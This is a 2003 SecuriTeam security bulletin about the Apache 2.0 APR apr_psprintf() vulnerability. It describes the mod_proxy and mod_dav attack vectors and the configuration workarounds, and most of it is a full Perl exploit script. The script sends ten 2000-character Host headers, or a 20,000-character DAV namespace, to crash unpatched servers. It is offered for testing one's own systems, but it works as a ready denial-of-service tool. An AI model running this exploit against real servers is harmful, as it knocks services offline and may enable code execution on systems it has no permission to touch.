[EXPL] Apache 2.x APR Exploit Code
From: SecuriTeam (support_at_securiteam.com)
Date: 06/09/03
- Previous message: SecuriTeam: "[NT] Etherleak Information Leak in Windows Server 2003 Drivers"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 9 Jun 2003 20:05:41 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
Latest attack techniques.
You're a pen tester, but is google.com still your R&D team?
Now you can get trustworthy commercial-grade exploits and the latest
techniques from a world-class research group.
Learn more at http://www.coresecurity.com/promos/sit_e1,
or call 617-399-6980
- - - - - - - - -
Apache 2.x APR Exploit Code
------------------------------------------------------------------------
SUMMARY
As we reported in our previous article:
<http://www.securiteam.com/securitynews/5ZP0V0AA0Y.html> Apache Portable
Runtime Denial of Service and Arbitrary Code Execution Vulnerability, a
vulnerability in Apache allows remote attackers to cause the server to no
longer respond to legitimate requests or execute arbitrary code. The
following is an exploit code that can be used to test your system for the
vulnerability.
DETAILS
The details of each exploit vector are as follows:
* mod_proxy
mod_proxy outputs a simple message when a connection has failed that
includes the host name of the intended destination. It accomplishes this
via the vulnerable apr_psprintf() function. This leads to a crash if the
Host header is extremely long.
* mod_dav
Certain methods of accessing a DAV repository may enable attacker-supplied
input to be passed as a parameter to apr_psprintf() as part of an "Invalid
namespace" error. This results in the crash of the child handling the
request.
* Others
NOTE: mod_dav is also impacted by this exploit, but the exploit vector
above specifically targets it.
Many modules format the hostname of the server into buffers via the
apr_psprintf() function. The hostname is under the attacker's control if
"UseCanonicalName Off" is in place. Via a long HTTP/1.1 "Host" header, it
becomes possible to cause these modules to crash.
*** NOTE: Some people have assumed that the Apache LimitRequestFieldSize
directive would protect them from exploitation, so long as they did not
have mod_dav installed. This is not correct, as the Apache HTTP Server may
take:
GET / HTTP/1.1
Host: a
Host: b
And internally convert it to:
GET / HTTP/1.1
Host: a, b
The same is true for longer headers. Therefore, ten such headers of 2000
characters each bypasses the default LimitRequestFieldSize directive, but
still exploits the vulnerability.
Workarounds:
* LimitXMLRequestBody 2000 in your configuration file for any servers
with DAV enabled. These can be identified by the string "DAV/2" in their
server signatures in most cases.
* The following pair of lines:
LimitRequestFields 15
LimitRequestFieldSize 800
Will temporarily block the mod_proxy exploit.
* Such a rash workaround is not required for the other modules, where a
simple:
UseCanonicalName On
Does the trick. It was recently pointed out to Matthew that there was an
error in Matthew's previous post regarding this. It incorrectly stated
that UseCanonicalName *Off* fixed the flaw. In reality, this *opens* one
of the exploit vectors. However, Matthew believes it was clearly
identified in the other parts of Matthew's post, and this has now been
corrected.
Exploit:
#!/usr/bin/perl
#
# Apache 2.0 APR Exploit
# Written By Matthew Murphy
# Updates: http://www.techie.hopto.org/exploits/Apache-Knacker.pl
#
# Ever since I unveiled the additional details of the APR flaw in
# Apache 2.0.37-2.0.45, I've been under pressure to "put my money
# where my mouth is", and produce exploits for the flaw. My answer
# to these people was "just give me a few days until I figure them
# out, and you'll be the first to know". Well, despite a slight
# delay, here you have it.
#
# This Perl script will successfully exploit any un-patched Apache 2.0
# server that does not have the workarounds I highlighted applied.
#
# Okay, now it is time for my classic legal garb...
# Given that this is rushed, and probably buggy in some capacity, this
# is especially important here:
#
# No warranties are made about the performance of this tool, either
# express or implied. Your use of this tool is an implicit agreement
# that you will not utilize it against a network if any of the following
# occur:
#
# You do not administer the network
# You are not the owner of the network, and do not have written permission
# from the owner for testing of this potential vulnerability (HP
# speak there! :-D).
# Networks other than your own may be impacted by use of this tool in some
# way.
#
# You also agree NOT to hold the author of the tool responsible for any
# damage resulting from its use, be it accidental or intentional, and also
# agree that the consequences of utilizing this tool (and any damage such
# use creates) are solely your responsibility.
#
# Contact:
# E-mail: mattmurphy@kc.rr.com
# Web: http://www.techie.hopto.org/
# AIM: NetAddict4109
# or for the Windows folk among us:
# aim:goim?screenname=NetAddict4109
#
# Enjoy!
# Base64 Encoder
#
# If you want authentication with the server via HTTP's lame Basic
# auth, put the proper string to encode BASE64 content, and use
# '%s' to represent the credentials being encoded. For instance:
#
# base64 %s
#
# would result in:
#
# base64 userid:password
#
# If your decoder requires you to use STDIN to pass the password
# (no pun intended), set $BASE64_USE_STDIN to nonzero and do not
# use '%s' on the command-line.
$BASE64_CMD_STRING = "use_base64_encoder_here %s";
# Base64 encoder piping
#
# If your encoder requires the password to be written to STDIN,
# set this to a nonzero value. NOTE: This requires support for
# bi-directional pipes on your OS version.
$BASE64_USE_STDIN = 0;
# Base64 encoder input handling
#
# If your encoder requires a newline after your credentials,
# set this to your newline character.
$BASE64_WRITE_NL = "";
use IO::Socket;
print STDOUT "Apache 2.0 APR Exploit\r\n";
print STDOUT "By Matthew Murphy\r\n\r\n";
print STDOUT "Enter the hostname/IP address of the server: ";
$line = <STDIN>;
$host = mychomp($line);
print STDOUT "Enter the port of the server \[80\]: ";
$line = <STDIN>;
$port = mychomp($line);
print STDOUT "Use authentication credentials for the session \[Y/N\]? ";
$line = <STDIN>;
$char = mychomp($line);
if ($char == "Y" || $char == "y") {
print STDOUT "What username shall we use: ";
$line = <STDIN>;
$user = mychomp($line);
print STDOUT "What password shall we use: ";
$line = <STDIN>;
$pass = mychomp($line);
$auth = "$user:$pass";
if ($BASE64_USE_STDIN) {
# l33t Perl piping trix; NOTE: This is definitely
# Alpha code! :-)
pipe(STDOUTREAD, STDOUTWRITE);
pipe(STDINREAD, STDINWRITE);
open(OLDSTDIN, "&STDIN");
open(OLDSTDOUT, ">&STDOUT");
open(STDIN, "&STDINREAD");
open(STDOUT, ">&STDOUTWRITE");
close(STDINREAD);
close(STDOUTWRITE);
system($BASE64_CMD_STRING);
open(STDIN, "&OLDSTDIN");
open(STDOUT, "&>OLDSTDOUT");
close(OLDSTDIN);
close(OLDSTDOUT);
print STDINWRITE $auth;
close(STDINWRITE);
read(STDOUTREAD, $base64, 4096); # Edit for insane passwords
close(STDOUTREAD);
} else {
open(READOUTPUT, sprintf($BASE64_CMD_STRING, $auth)."|");
read(READOUTPUT, $base64, 4096); # See above
close(READOUTPUT);
}
# Another hack for dealing with base64 encoders that output
# multi-lined encoded text. HTTP specifically calls for a
# single line. Note that this pattern also messes with spaces,
# tabs, etc., but base64 doesn't use those either, so this
# shouldn't matter.
$base64 = join("", split(/ /, $base64));
} else {
$base64 = undef;
}
$f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"127.0.0.1");
print STDOUT "Exploiting a proxy server \[Y/N\]? ";
$line = <STDIN>;
$char = mychomp($line);
if ($char == "Y" || $char == "y") {
print $f "GET / HTTP/1.1\x0d\x0a";
# Apache 2.0 tries to limit header inputs, but uses a hash table
# that ultimately concatenates multiple headers of the same name
# together with ", " between them, so:
#
# Host: a
# Host: b
#
# Bypasses Apache's buffer size checks, but ends up as:
#
# Host: a,b
#
# When processed. Confirm this with a TRACE against your server:
#
# TRACE / HTTP/1.1
# Host: a
# Host: b
#
# The "message/http" body you receive will contain:
#
# TRACE / HTTP/1.1
# Host: a,b
#
# So, for those of you who are confused by this code fragment,
# this is what it ultimately achieves!
for ($i = 0; $i < 10; $i++) {
print $f "Host: ".("A"x2000)."\r\n";
}
if (defined($base64)) {
print $f "Proxy-Authorization: Basic ".$base64."\r\n";
}
print $f "\r\n";
} else {
print STDOUT "What resource should be probed: ";
$line = <STDIN>;
$res = mychomp($line);
print STDOUT "Exploit a DAV repository for this attack? \[Y/N\] ";
$line = <STDIN>;
$char = mychomp($line);
if ($char == "Y" || $char == "y") {
# WARNING:
# Another section of alpha code here; mod_dav tends to barf
# if given the smallest inconsistency, and this is not
# exactly well-researched. If this doesn't work for you,
# target your DAV repository as a typical resource: if
# UseCanonicalName On hasn't been set explicitly, mod_dav
# will choke on that as well.
#
# STunnel should not have issues with this, as you can't
# use a "Host" header in an SSL connection anyway, so
# that is no problem.
#
# Note that if the body is too long, IIS servers will also
# die (assuming of course, that the latest IIS cumulative
# patch has not been applied), as they have had problems
# dealing with WebDAV in the very recent past.
# XML Body of Request
#
# If everything works, mod_dav will attempt to format a
# message with apr_psprintf() to indicate that our
# namespace is invalid, leading to a crash.
$xmlbody = "<?xml version=\"1.0\"?>\r\n";
$xmlbody.= "<D:propfind xmlns:D=\"".("A"x20000)."\:\">\r\n";
$xmlbody.= "\x20\x20\x20\x20<D:allprop/>\r\n";
$xmlbody.= "</D:propfind>";
# HTTP headers
print $f "PROPFIND $res HTTP/1.1\r\n";
print $f "Host: $host:$port\r\n";
print $f "Depth: 1\r\n";
print $f "Content-Type: text/xml; charset=\"utf-8\"\r\n";
print $f "Content-Length: ".length($body)."\r\n\r\n";
if (defined($base64)) {
print $f "Authorization: Basic ".$base64."\r\n";
}
print $f "$xmlbody\r\n\r\n";
} else {
# This does *almost* the exact same thing as the mod_proxy
# code, and could be considered wasteful, but a few extra
# CPU cycles never killed anybody. :-(
print $f "GET $res HTTP/1.1\r\n";
for ($i = 0; $i < 10; $i++) {
print $f "Host: ".("A"x2000)."\r\n";
}
if (defined($base64)) {
print $f "Authorization: Basic ".$base64."\r\n";
}
print $f "\r\n";
}
}
while (defined($ln = <$f>)) {
print STDOUT $ln;
}
undef $f;
exit;
# FIXED: The perl chomp() function is broken on my distro,
# so I hacked a fix to work around it. This note applies
# to ActivePerl 5.8.x -- I haven't tried others. This is
# another hackish fix, which seems to be the entire style
# of this code. I'll write better toys when I have time to
# write better toys.
sub mychomp {
my $data;
my $arg = shift;
my $CRLF;
if ($^O == "MSWin32") {
$CRLF = 1;
} else {
$CRLF = 0;
}
$data = substr($arg, 0, length($arg) - $CRLF);
return $data;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:mattmurphy@kc.rr.com>
Matthew Murphy.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[NT] Etherleak Information Leak in Windows Server 2003 Drivers"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- Apache 2.x APR Exploit Code
... Host header is extremely long. ... # auth, put the proper string to encode
BASE64 content, and use ... # Base64 encoder piping ... print STDOUT
"Apache 2.0 APR Exploit\r\n"; ... (Bugtraq) - [Full-Disclosure] Apache 2.x APR Exploit Code
... Host header is extremely long. ... # auth, put the proper string to encode
BASE64 content, and use ... # Base64 encoder piping ... print STDOUT
"Apache 2.0 APR Exploit\r\n"; ... (Full-Disclosure) - gdm hangs
... gdm will hang 9 of 10 times when logging out. ... with or without the client
having been connected to the Server. ... # Timed login, useful for kiosks. ...
Must output the chosen host on stdout, ... (Debian-User) - problem with sendmail in solaris 9
... names that should be exposed as from this host, ... # save Unix-style "From_"
lines at top of header? ... # work recipient factor ... # SMTP STARTTLS
server options ... (SunManagers) - Re: Add new cluster and use existing LUNs?
... Storport driver and Powerpath on all of our SAN host servers so we are trying ...
In the end I think that I may play it cautious and create a new RAID group, ... > varied
activity (DBMSes, Messaging Server, File Server, Web Servers, ... Some of the physical
spindle limitations can be addressed through the SAN ... (microsoft.public.sqlserver.clustering)